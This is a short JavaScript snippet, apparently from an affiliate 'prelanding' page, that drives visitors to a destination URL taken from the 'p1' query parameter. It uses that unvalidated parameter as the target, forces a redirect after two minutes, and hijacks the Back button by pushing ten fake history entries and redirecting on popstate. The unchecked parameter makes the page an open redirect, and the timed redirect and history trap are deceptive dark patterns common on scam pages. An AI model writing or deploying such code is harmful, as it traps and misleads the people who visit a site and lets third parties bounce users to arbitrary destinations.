var fin_link = decodeURIComponent(getURLParameter('p1'));
    var links = document.getElementsByClassName('finlink');
    for (var i = 0; i < links.length; i++) links[i].setAttribute("href", fin_link);

    for (var j = 0; j < links.length; j++) {
      links[j].addEventListener('click', function (evt) {

        prelandAction(evt);
        window.removeEventListener('beforeunload', befUnlFunc);

        window.onbeforeunload = null;
      });
    }

    function getURLParameter(name) {
      return decodeURIComponent(
        (RegExp(name + '=' + '(.+?)(&|$)').exec(location.search) || [, null])[1] || ''
      );
    }

    //Autoredirect
    setTimeout(function () {
      window.onbeforeunload = null;
      window.location.href = fin_link;
    }, 60000 * 2);

    //Historyback
    ! function () {
      var t;
      try {
        for (t = 0; 10 > t; ++t) history.pushState({}, "", "");
        onpopstate = function (t) {
          window.onbeforeunload = null;
          t.state && location.replace(fin_link);
        };
      } catch (o) { }
    }();